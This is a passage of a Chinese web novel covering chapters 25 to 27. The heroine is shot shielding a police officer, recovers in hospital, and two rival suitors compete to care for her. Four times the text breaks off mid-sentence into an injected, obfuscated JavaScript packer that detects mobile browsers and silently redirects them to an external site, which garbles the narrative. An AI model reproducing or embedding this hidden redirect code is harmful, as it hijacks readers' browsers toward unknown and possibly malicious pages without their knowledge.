小个子男人最先拿着匕首刺上来,大高个在后面围攻,穆警官被前后夹击,危在旦夕,但他硬是赤手空拳拼出一条血路。他拳拳到肉,将小个人男人打得鼻血直流,最后一脚将其踹到雪堆里。 但大高个子就没那么好对付,虽然他智力上有些许问题,动作笨拙迟缓,但力气大得惊人,而且好像不知道疼一样,他从来不躲避任何攻击,也从来不会因为受到攻击而畏缩回避,反而越来越暴躁,十分难缠。 小个子男人从雪堆里爬出来,捡起带血的匕首,他轻轻摸了摸自己淤青的眼睛,隔着口罩骂了一句,趁穆警官和大高个鏖战的时候想从背后偷袭。 默熠见状谨慎拾起地上的铁铲。 那两个人是冲穆警官来的,现在正是和穆警官打的火热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15426843|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的时候,根本没多余的心思去管默熠,都没注意到默熠也拿着“武器”静悄悄地加入了战局。 螳螂捕蝉,黄雀在后。 在小个子男人拿起匕首准备刺向穆冬已然被划伤的后背时,默熠也举起了铁铲,朝他的头“咣当”一声砸了下去。 这一声犹如惊雷,引得在场陷入寂静。 小个子男子晃了晃身子,给默熠的不可思议的眼神渐渐被精神涣散的白眼所替代,脚一软,又栽倒回雪地里,倒在默熠脚边,默熠慌乱之下还踩了一脚他的手。 穆冬惊讶地看了默熠一眼,而后赶紧摆手让她快离开,眼里满是焦急。 大高个看到小个子男人被默熠敲晕在地,情绪变得无比激动,大惊大叫道:“哥,我给你报仇。” “你们欺负我哥,我要杀了你们。”他暴怒道,恶狠狠地盯着默熠。 默熠被这眼神盯得发毛,连穆警官都招架不住他,更别说自己这小身板了。 这时雪地里的男人发出微弱的声音,“六子……哥还没死……”说罢他还试图将手举起来,那只手上面留着默熠雪地靴的脚印,手掌颤抖着,但终究是没有力气举起来,他并没有死心,用尽最后的力气竖了一个中指。 “啊啊啊啊……”大高子尖叫着冲过来。 “啊啊啊……”默熠尖叫着跑开。 “噗”,倒底不起的小个子男子呕出一口血,因为大高个刚刚跑过来的时候踩到了他。 一场穷凶极恶的暴徒袭击案似乎成了一场闹剧。 “救命啊。”默熠拼命地奔跑,路过的每一家房子都有人探出窗来。 邻居们看到一个跑得飞快的女人抱着什么东西跑在前面,后面跟着一个大高个子男人,而大高个子男人后面还跟着一个人。 但大家都不知道发生了什么。 有人报了警,还有人站了出来想制止这场纷争。 最后在热心群众的帮助下,大高个子被成功制服。 穆冬向大家说明了暴徒的身份,系前几天盗猎团伙的漏网之鱼,此次前来大概是为了报复。 周围聚集了不少邻居,这时默熠注意到一张陌生的面孔,她心里顿感不妙,很快那个陌生男人从口袋里掏出手枪,朝穆冬射击…… 25. 模糊 “穆警官……”关键时刻,默熠挺身而出,扑倒穆冬,子弹打到她的腹部,二人齐齐跌落。 群众受到枪声惊吓,一片哗然。 陌生男子还想再补一枪,但被手疾眼快的热心邻居干扰,子弹从默熠腿边擦过。 默熠穿的是白色大衣,伤口渗出来的鲜血浸染到大衣上格外刺眼。 她觉得浑身都被冻住了,手脚冰凉,只有血是热的,像都朝着一个地方流,她的脸色惨白如雪,眼皮似有千斤重,默熠最大程度也只能做到半睁着眼。 大家很快又制止住了陌生男子,同时报警,并叫来救护车。 为了争取救援时间,穆冬提前和救护车沟通好,先将人抱上车,朝医院的方向驶去,在半路上相遇能减少一半儿时间。 “穆警官……”默熠觉得自己的意识越来越涣散,“我……是不是要……死了……” 穆冬急的额角青筋暴起,只觉得太阳穴都疼得厉害,“不会的,你不会有事的,你坚持住。” “没关系,你没事……就好……”默熠觉得自己起码达到了目的,成功救下了他。如果她再幸运一点儿,命运会让她活下来。 “你别睡,你打起精神来,你醒醒……”穆冬担心却也只能这样和她说话,除了把车开好,别的什么都做不了,他在内心祈祷,救护车早点到。 默熠被送上救护车的时候,整张脸苍白地带了点儿灰,医护人员说她的状况很不好,最糟糕的是血库里和她血型匹配的血已经告急。 “她是什么血型?我是03号血型。” “她是06号血型,你们的血型不匹配。” “快发布紧急通知,现在急需06号血型。”医护人员赶紧联系医院的其他同事。 默熠被套上了吸氧装置,她努力翕动嘴唇,像是要说什么,医护人员靠近倾听。 “她说穆……穆……穆什么?”医护人员说。 “她在叫我。”穆冬立刻就懂她的意思,凑近了听。 “这……是……很重要的……话……”默熠因为呼吸不济,说话困难,腔调很怪,在这里她只认识穆冬便想把自己的银行卡密码托付给他,虽然穆冬没有要她房租,但她在攒钱还,“……”她努力说“遗言”,但口齿模糊不清。 穆冬的心因为焦急,跳得飞快,他想极力压制住此刻剧烈的心跳,以防自己听不清她的话。 “穆……”她叫穆警官,但很难清晰发出后面两个字的读音。 她像是在交代遗言,在场所有人都这么认为,大家都保持安静,不敢发出一点儿声响。 “密……码……”默熠此刻已经口齿不清,没人能听懂她在说什么,穆冬便更加难受,怕辜负了她的嘱托。 “咳……”默熠开始咳血,更难说清。 医务人员递来纸笔,默熠凭感觉艰难写下一个5,虽然扭曲,但能看得清是什么。而后是一个歪歪扭扭的2,可她手上沾了血,于是这个数字也带了血,她困难地控笔,写下一个既像6也像0的数字。 他认定那是0,因为前两个数字特殊,这是一句表白。 但默熠没有停止,最后她颤抖着用力抓紧笔写下“×2”。 她终于写完,银行卡密码是“526526”,她心中没有遗憾,也没了强撑的那口气,笔掉落在地。 眼睛由虚睁变为彻底合上,握笔的那只手无力地垂下,心率仪发出刺耳的警报声,一切似乎都在走向毁灭。 穆冬被默熠的“表白”震撼,这是他收到过最沉重的“情书”,在她生命的最后时刻,她的爱意不减反增,“×2”给他的震撼远比“520”强,这是何等炽烈而存粹的情感…… 医院进行了全力的抢救,穆冬面对手术室紧闭的大门,心中被从未有过的彷徨、恐惧填满。 好在紧急通知发布后,有好心人特意来献血,这减轻了一些穆冬的心理压力。 但是他还在责怪自己没有早早发现端倪,他不希望有任何人为自己受伤,明明该受伤的人是他,歹徒是冲他来的,让无辜的人为此流血实在不应该。 如果躺在手术台上的是他就好了,自己的身体比她更强壮,而且她那么怕疼,之前练自行车擦破手都疼得大叫,现在挨了一枪不知道得疼成什么样。 怀着这种愧疚,他在手术室外静静等候。 默熠被推出手术室时,穆冬的心还揪着。 在医生宣布手术成功,病人没有大碍的那一刻,他身上的重担才彻底被卸下,一种巨大的轻松感包裹着他,让人四肢无力,他当时腿软得瘫倒在地。 他被询问是否是病人家属,穆冬在短暂地沉默后说自己是病人的朋友。 护士交代了一些术后注意事项,穆冬很认真地记下。 他守在默熠床头,说实话他不知道该怎么面对她,但她无依无靠,除了泉氤以外,再无其他亲友,而且她是为自己受伤的,自己必须守在这里。 他没有喜欢过一个人,不知道那是什么样的一种心情,他不知道自己内心感受的模糊是否意味着喜欢,因为在此之前他内心澄清,他分明地知道自己不喜欢她。但此刻的心被搅浑了,他却无法判断浑浊的缘由,他不知道是因为这件事太复杂、太震撼、太突然从而无法理清头绪,还是因为自己对动心的感觉太陌生从而无法识别。 此刻他很羡慕默熠,羡慕她分明的爱,也由衷敬佩她,但更多的是愧疚。他还想要责备她为何这么不爱惜自己,但既得利益者没有资格说这种话…… 默熠沉浸在一片黑暗中,然而黑暗中有炽热的白光,不过这白光一闪一闪,时弱时强,正如她努力张合的双眼,她觉得头痛欲裂。 她是被这疼痛唤醒的,默熠拼命睁开眼睛,此时窗外的天空还是一片漆黑,太阳还没有升起。 病房里没有开灯,但借着走廊上的灯,他能看清默熠的脸,一张脸颊毫无血色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15432276|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,憔悴不已。 “有哪里不舒服的吗?”穆冬轻声问,同时和护士沟通情况。 “头疼……”她的嗓子干哑,语气无力。 “要我开灯吗?”穆冬怕灯光刺她眼睛。 “不……”她说,虚弱无力的模样。 头疼的厉害,但医生对此束手无策,她只能忍着,于是她表示自己想要一个单独休息的空间。 好在疼痛没有一直折磨她,大约半个小时,默熠便不再难受。 她躺在病床上,想着以后的日子,她觉得自己需要一个新的银行卡密码,虽然她知道穆警官很有钱看不上她这三瓜两枣。 本来她还挺喜欢526这个数字的,当时办卡想密码的时候就蹦出这三个数字,她坚信这几个数字对自己有特殊含义,但密码被透露出去过,不能再用了,想想真可惜。 泉氤收到穆冬的消息,请了假赶到医院来。 有好友来看自己,默熠当然开心。 但她体力不济,不适合聊天,就默默听泉氤说话。 泉氤说了一会儿,终于忍不住要责备她。 “你这个傻瓜,你也太不把自己当回事了吧。”泉氤责怪道,“你要多关心关心自己,你要先把自己放在第一位。” 穆冬就坐在门外的等候椅上,医院的隔音没那么好,很容易听到里面在说什么。 “可穆警官是很好的人啊,他还帮过我,我总不能见死不救吧。”默熠说。 听到自己的称呼,穆冬不得不站起来,好奇地在门外听。 随后默熠严谨地补充了一句,“如果当时有危险的是江太太,我最多就喊一句,我也很惜命的,我可是简主任花了两天一夜才抢救过来的。”她想说自己不是烂好心,她的善良是对本身就善良的人。 “我本来什么都没有,还欠了一堆人情,我还经常把事情弄得很糟糕,给大家添麻烦,但大家都很包容我,你看我现在好好的,也是因为有人帮我送医院,有好心人给我献血,有尽职尽责的医生护士。我也想给大家做点事。” 她救自己,不单是因为她喜欢自己,更是因为她本身就是一个很好的人。 若说昨晚穆冬被她炽热浓烈的感情所震撼,现在穆冬则被她的勇敢无畏、善良纯真触动,他知道她热情似火,知道她善良纯真,这些话明明从她嘴里说出来不奇怪,她还是那个她,但又好像不是那个她,穆冬心中有关她的形象越发模糊…… “其实我一直想谢谢这些人,我也想用实在一点的东西感谢他们,但是我没有那么多钱买礼物,只能口头上感谢一下,但我还给搞砸了。”默熠低落道,她对简主任的社死耿耿于怀,那不是她的本意。 “那是你之前不知道这样会让人社死嘛,大家会理解的。”泉氤安慰道,“简主任说不定都忘了,别往心里去。” “如果我有钱了,我一定会请他们出去旅游的。”默熠给自己定了一个新目标…… 26. 梦 今晚的灯光比以往更加柔和,但是穆冬没有发现这个异常,他打开卧室门准备睡觉,但万万没想到默熠在这里。 “嗨,穆警官,什么时候去铲雪啊?”默熠拿着大铁铲,干劲十足。 “你……你怎么在这儿?”穆冬惊呼,“不是说好你不来二楼的吗?” 他想让她出去,而她就真的消失在了自己眼前,但他也发现自己的房间被弄得乱糟糟,衣帽间里叠放整齐的白衬衫被扔的到处都是,床上的被子被放在浴缸里,而浴缸被放在床上,枕头被半塞到床头柜,且所有的白色物品,例如白衬衫、床单、被子、浴缸、枕头都被涂鸦成了五彩的…… 身为一个强迫症哪能忍受得了这样的场景,他马上动手开始收拾,拿出脏衣娄把地上的衣服都捡起来放到洗衣机,谁成想倒洗衣液的时候,从瓶子里流出来的是五彩斑斓的颜料,他的手上也沾上了颜料。 上一次他的手和衣服染上这种类型的污渍还是学生时代的蓝墨水,他打开水龙头洗手,但从水龙头里流出来的也不是水,是蓝墨水,这时他发现手和衣服上的颜料也都变成了蓝墨水。 他回到卧室,同样的情况也发生在了被弄乱的浴缸、枕头、床单、被子上,他心里惶恐,想要把这一切不符合常理的东西都扔掉。 依然是从衣服入手,他把沾有墨水的衣服扔到垃圾袋里,在他刚好装满一袋的时候,袋子里的衣服扑腾着袖子,像是活过来的飞鸟,一件一件飞了出来,它们把门撞开一个大窟窿,连同地上活过来的衣服接二连三地飞出去。 它们的力气很大,穆冬抓不住,一地的衣服在两分钟内就全飞走了,穆冬愣了一会儿,打开破了洞的门追出去,他看到在一楼客厅挑空的地方翱翔着一群染了蓝墨水的白衬衫。 它们像迁徙的候鸟,飞行轨迹十分规律,带头迁徙的衬衫在默熠头上盘旋,而默熠拿着吉他在唱歌,“玫瑰和爱会同时到来……我爱你……” 穆冬捂住头,惊恐道:“不,出去,都出去……” 下午3点21分,穆冬从噩梦中醒来,真够离谱的,他想,这么魔幻的梦他还是头一回做。 他觉得一定是因为自己坐在椅子上睡觉的原因,穆冬揉了揉脖子,他昨晚没睡,就刚刚靠墙小憩一会儿,没想到竟然会做这种梦。 他揉了揉眼睛,站起来,却看到一个男生朝这边走过来,个子高瘦,模样清秀,手里提着一大袋东西来看望。 谭淳核对着病房号走过来,看到病房外的穆冬,二人对视了一眼,然后他敲了敲门。 穆冬没见过他,对他充满警惕。 泉氤过来开的门,她对谭淳说:“你来的正好,阿熠刚刚醒,我要先走了,临时回去加班。” 谭淳点点头,安静地走进病房。穆冬拦住泉氤,问:“这人谁啊?你认识?” “阿熠的老板啊,我是他们家会员,顺便推荐一下,他们家的甜品味道不错,价格实惠。”泉氤看到他眼底的乌青,提醒道:“有护工在,你该休息就休息,你自己身上也有伤。” “嗯。”穆冬随口应道,显然没放在心上。他的注意力都在那个陌生男子身上,违背职业道德的,他拿不出任何证据,但就是觉得那个人不是什么好人。 对默熠来说,谭淳是亲友。对穆冬来说,谭淳是不速之客。 “店长,真麻烦你跑一趟,你真的不用来的,我没事。”默熠抱歉道。 “没事?你脸色都成这样了你还说没事。”谭淳心中越发不平,“他那么重要吗?比你自己还重要?”他生气质问,那个男人重要到她可以豁出命去救。 “如果是你,我也会这样做的。”默熠说。 “如果是我,我不会让你这么做。”谭淳说,他越来越讨厌门外的那个男人,即便他连穆冬的名字都不知道。 “抱歉,我不是想凶你。”意识到自己的失态,谭淳冷静下来,语气轻柔,十分抱歉。 “我知道我知道,你是担心我。”默熠说,“你放心吧,医生说了我没事,我命很硬的,我一定很快就能好起来然后回去工作。” “你还是多休息休息吧,不要老想着工作,再想赚钱也得把身体养好。”谭淳说,“这几天暂停营业,我会照顾你直到你出院。” “这怎么可以,这个店有我没我都一样,但没有你可不行。”默熠虽然感动,但还是拎得清,而且她不想欠人情,她拒绝道:“我知道你关心我,但是医院有护工的,不用麻烦你。” “这怎么能叫麻烦呢?”谭淳认真道。 “咚咚咚”穆冬敲了敲门。 “请进。” 穆冬走进来,他还是冷着脸,因此他的话显得很严肃,“我不是故意偷听,是这里隔音不好,我以为你知道我会照顾你。” “我以为你已经回去了。”看到穆冬出现在这里,默熠很是惊讶。 “我怎么可能回去,你是因为我才受伤的。”穆冬着急道,自己在她心里究竟是什么样的形象,她竟然会这么以为。 “但是医院有护工啊,而且你自己身上也有伤。”默熠避重就轻道,她还有一点没说,就是她觉得穆冬不是一个会照顾人的人。 好吧,原来是关心自己,穆冬心想她也太喜欢自己了,这种时候居然还在关心他身上的伤,他受宠若惊,不好意思道:“我这点儿伤算什么。” “还是我来照顾你吧,我比较了解你的喜好,更方便照顾你。”谭淳言下之意,那个男人没有自己和默熠的关系近。 默熠觉得自己出现了幻觉,她刚刚看到穆冬冷笑了一声。 穆冬心想:“真要了解她的喜好,就不会不知道她喜欢自己。”他和谭淳没有交换过通话邀请,也互不通晓对方姓名,但默契地都对对方充满敌意。 “这是我们之间的事, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436974|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跟别人没关系。”穆冬言下之意,那个男人是别人,自己和默熠是我们,自己和默熠关系更近。 他们的话虽然都是对默熠说的,但话里无一不在含沙射影,火药味儿十足。 “你们都回去吧,我在医院有护工。”默熠觉得再不打断他们,他们会对着自己吵起来。而且她谁也不得罪,一个都不要。 “可是我……”二人异口同声。 “我想休息了。”默熠暴力打断他们的话,她躺下谁也不理。 这场纷争才暂时停息…… 睡梦中,默熠身处迷雾之中,周围只有微弱的光亮,“有人吗?”她大叫道,但只有山谷的回音。 她在雾中行走,但被石头绊倒,默熠跌坐在地上,正想咒骂哪里来的石头,定睛一看是块墓碑,她吓得赶紧单脚跳开,但却发现自己身处一个荒废的陵园中,这里的墓碑都横七竖八,年代久远,最年轻的死者都是上个世纪初去世的。 她害怕地想要逃离,但一直在不停地原地打转,即使她努力往一个方向走,也还是会回到最初绊倒自己的那个墓碑那里。这时她终于看到一个人的身影。那是一个女人的背影,女人留着长头发,身披翠绿风衣,手上戴着一双黑手套,脚上穿着暗红色高跟鞋。 墓地里莫名其妙出现的人和鬼一样让人害怕,但自己好像也没有别的选择。 默熠壮着胆子,单脚跳过去,她想问她这里要怎么走出去,但是自己没有主动发起通话邀请的资格,犹豫之中,她竟然还听到一声狼嚎,她浑身一哆嗦,将《社交安全保护条例》抛之脑后。 “你好,请问你……”默熠很有礼貌地开口,但却发现那人低着头,她看不到她的脸。 是因为内向才低头吗?但穿衣风格又这么大胆外向,默熠费解地想,真要内向为什么不戴个口罩? 她这么想着,那个女人竟抬起了头,还带着口罩、墨镜。 “你好,你知道怎么出去吗?”默熠礼貌微笑,但忽然想起来内向国人不随便微笑,她还不知道对方是哪国人,于是马上抿住嘴唇。 那人却什么都不说,又低下头去,默熠发现她手里捧着一束白玫瑰…… 默熠因为头疼从梦中醒来,她疼的嘴唇发白,纤细的眉毛拧成一股,没有输液的那只手捂着头,神情非常痛苦。如果她的腹部没有受伤,那她大概会疼得蜷缩成一团…… 这个梦莫名其妙,让人不明所以,但她又觉得有些熟悉,可再细想就会头疼,她将其记录在日记本上。 她不知道的是接下来几天的日记都是有关这个梦的记录,她一连几天都做着同样的梦,但稍有不同的是梦里的陵园像是逐渐被修葺一般,墓碑不再横七竖八,变得干净整洁,墓地的雾气也不再那么浓烈,只是那个女人依然低着头,她看不清她的模样,她手里的白玫瑰先是在第二次梦里变成白菊,在最后一次梦里变成枪…… 27. 住院 默熠的日记本还剩三十几页,自从住院来,她每天都要消耗好几页记录生活,除了那奇奇怪怪的梦,还有穆冬和谭淳的迷惑行为。 “……我知道因为自己的事,穆警官和店长互相看对方不顺眼,因为穆警官觉得照顾我是他的事,店长不该来抢。而店长一直因为穆警官让我受伤的事耿耿于怀,觉得穆警官要是真的会照顾人就不会让我受伤,所以应该让他来。我一视同仁,谁也不让来,只允许他们来看望。但是他们看望的时候总撞在一起,也有不小的矛盾,我试图当和事佬,但里外不是人,遂放弃……希望他们能和平共处。” 她写日记时习惯把日期放在最后,没什么特殊含义,只是觉得这样好看。 默熠把日记合上,护士来换药了。 “你是新来的吗?”默熠主动问道,她带着欢迎新人的语气,她看到对方脸上有雀斑,还注意到这个护士衣服上的名牌“池青青”。 然后她看护士的操作就更加肯定这是个新人,“你是不是忘带扫码的机器了?”默熠好心提醒,护士换药一般要扫码,以免药品和病人之间匹配错误,“而且我今天看了单子,我没有要单独注射的药,你是不是弄错了?” “怎么回事?”穆冬刚好来医院探望,谭淳后脚也来了。 池青青惊愕地对比了一眼默熠的个人信息,又看了一眼单子,“对不起,好像是我弄错了,我才来实习,你可千万别跟护士长投诉我。” 默熠听池青青的声音都快哭了,没有计较,但还是提醒她:“你以后小心点儿吧,这搞不好是要出医疗事故的,再是实习这种低级错误也不该啊。” “你别哭啊。”默熠不敢再说,看着池青青掩面跑出去。 在住院修养的这段期间,泉氤和星星姐也常来看她,而穆冬和谭淳每天都来。默熠最不希望他们俩撞到一起,他们俩一起,自己准没好事儿。 比如现在,令默熠头疼的午餐来了,不是她有选择困难,而是因为穆冬和谭淳要她吃他们自己做的营养餐。 “我真的吃不了这么多,我成天就躺床上休息,我也运动不了,我只能吃一份。”默熠很崩溃。 “那就吃一份啊。”二人异口同声道,然后各自将自己做的那份向前推去。 “我如果吃穆警官这份,店长不开心。我如果吃店长这份,穆警官不开心。你们不是在难为我吗?”默熠直言道,她再也不想吃两份午饭了。 “我哪有不开心。”谭淳说。 “就是,我才不会介意这种事。”穆冬也嘴硬。 “那你们说的。”默熠抓住机会,把两份午饭都推回去,“我谁的也不吃,我吃医院食堂。” “我去给你打饭。”穆冬离门近,马上起身。 “我给你打。”谭淳也在争,立刻朝门那边跑去。 二人争先恐后,看的默熠很无语,“给我打饭?问我要吃什么了吗?”他们究竟是来看望自己的,还是来折磨自己的。 默熠自己给自己泡了泡面,等他们二人回来的时候,她泡面都要吃完了。 “你怎么能吃这么没营养的东西呢?”穆冬惊讶道。 “姐姐,有你爱吃的糖醋排骨。”谭淳则挑了重点说。 “你们自己打的饭自己吃,不要浪费粮食,也不要再给我带饭了,以后我会自己去食堂吃的,用不着你们操心。” “可你自己吃的泡面啊。”穆冬还在在意泡面问题。 “因为我不想在食堂看到你们。”默熠把话说开,“我知道你们很关心我,但你们能不能别给我添乱了。” 从那以后二人的时间总是错开,她觉得他们可能私底下商量过。 然而这种和谐在出院那天还是被打破了。 终于熬到了能出院的日子,默熠在换回常服前,最后一次给伤口上药,腹部的伤口创面小不明显,但她的小腿被子弹擦伤,留下一条斜长的伤口,像一条红色的蚯蚓爬在她的腿上,她觉得难看极了。 她便盯着那条伤口发呆,病房的灯光照到她脸上,谁都能从那双眼睛里感受到忧伤。 穆冬撞见她难过的模样,想起她之前说过自己以前也许是个芭蕾舞演员,便问:“你是在担心以后跳不了舞吗?没有伤到骨头,应该问题不大。” “哦,不是。”默熠语气轻松道:“我之前从山上摔下来就骨折过,早就跳不了舞了。” 她的语气满不在意,但穆冬却皱了眉,忍不住的心疼,人怎么能坚强成这样,对这种伤痛都能一笑了之。 “我是疤痕体质,很容易留疤,到时候夏天穿裙子我觉得会不好看。”默熠失落道,但忽然想起来什么似的,机警道:“我没有不开心,我就随便说说而已,别往心里去,我压根儿就不在乎。” 穆冬想起她的身世,越发心疼。 “别担心,不会有陌生人跟你说你这样不好看的,这不符合《社交安全保护条例》,而认识你的人都知道你很漂亮。”穆冬安慰道。 “想不到你还挺会安慰人的。”她都不敢想这是能从他嘴里说出来的,听的人心里暖暖的。 穆冬耳朵红了,但默熠没有注意到,因为谭淳也来了。 今天就出个院,应该不会有什么幺蛾子吧,默熠乐观地想。 但她低估了这两个人不对付的程度。 住院部离医院大门有一段距离需要步行,因为医生说过“注意休息,少剧烈运动”,二人纷纷建议她坐轮椅过去。她起先拒绝了,但二人极力如此,她只好乖乖坐到轮椅上,然后两个人又为谁能推轮椅起了争执。 神奇的是,二人至今没有建立起通话邀请,他们的争执都通过和默熠说话时指桑骂槐实现,默熠受不了,主动调停。 “要么就一人一个把手,要么我自己转轮椅。”默熠说。 二人只好选第一个,但二人的身高不同,谭淳182,穆冬189。走路风格也不一样,穆冬习惯快走,谭淳考虑到推轮椅,想平稳一点儿。 两人一快一慢的,轮椅就没法好好走直线。 “阿熠你是不是觉得有人走的太慢了?”穆冬抱怨道。 “姐姐你是不是觉得有人走得太快了,把你巅到了很不舒服?”谭淳也阴阳回去。 “我觉得你们俩让我很不舒服,我还是自己转吧。” “不行。”在这件事上,他们的意见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461490|167652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又出奇的一致,但怎么推轮椅又争执不下。 “你们别吵了。”默熠从轮椅上起来,本以为坐轮椅会轻松点儿,但是没想到反而更麻烦。 两个人被训了一句话也不说,十分沉默。 但一直不说话不符合默熠话唠的性格,她本来就忧虑以后怎么做社区服务,现在便借机倾诉。 “穆警官,你说社区服务为什么要铲雪啊?”默熠问。 “因为现实是冬天,如果是秋天,你就可以扫落叶了。”这句话配上他严肃的脸色,莫名有种冷幽默的感觉。 “冷笑话讲得不错。”默熠卖力捧场,但她产生了新的好奇,“那如果是夏天呢?” “除草,给大家修剪草坪。” “春天呢?”她接着问。 “翻土,播撒草或者花的种子。” “这个最浪漫,但感觉都是些体力活,而且冬天的最累。”默熠吐槽道,从安静市脑部健康医院出院的真不是时候,她为什么不是春天出院,不对,她应该祈祷自己一开始就不要受伤进医院。 “除了这些没有其他办法抵消社区服务了吗?” “有啊,缴纳罚金。”穆冬说。 “那像我这种现在又干不了重活,又没钱的怎么办?”默熠的身体状况在很长一段时间内都不能去做铲雪这种体力活。 “好好挣钱交罚金吧。” “哎。”默熠长长地叹息。 “其实不一定要做铲雪这种力气活儿的,可以参加社区的其他活动,像制作极夜日冰灯笼,做冬季安全讲座这些都是可以获得社区服务时长的。尤其是那种代表社区参加比赛,能给社区带来荣誉的活动,获得的服务时长更多。” “还能这样?店长,你怎么这么清楚?”默熠惊讶。 “以前我不小心犯过社交禁令。”谭淳苦笑,“但那个时候年纪太小,做不了什么体力活,又不想家里给我交罚金,就翻了好久的社区服务法规,这些条例是挺偏的,一般人都不知道。” “看不出来,你以前这么外向。”默熠好奇。 “人的性格本来就不是固定不变的,从前外向,现在内向的也大有人在。”谭淳说。 “很难想象我这辈子内向的那一天,还有穆警官外向的那一天。” 被提到名字的穆冬还在紧张,默熠的话题又跳跃到风景上了。 “以前我还觉得雪景很漂亮,到处都是白茫茫的,看一两天是新鲜,天天这样,尤其是我天天铲雪以后,就一点儿也不美了。我还是最喜欢夏天。”她想起电视剧里的夏天,就忍不住动心。日照长、气候温暖,花草繁茂,水果丰富,还有轻盈的裙子,不用每天出门都穿的很臃肿,午后睡一觉起来也不用担心天快黑了。 真是惬意的夏日时光,她弯腰叹息。 “如果要结婚的话,我一定要在夏天结婚。”默熠的话题总是很跳跃。 然而说者无意,听者有心。 穆冬心里紧张,她是不是在暗示我什么?可是恋爱都没开始呢,就说结婚的事儿,未免也太心急。 谭淳倒是见惯不怪了,他熟悉默熠的说话风格,知道她只是随口一说……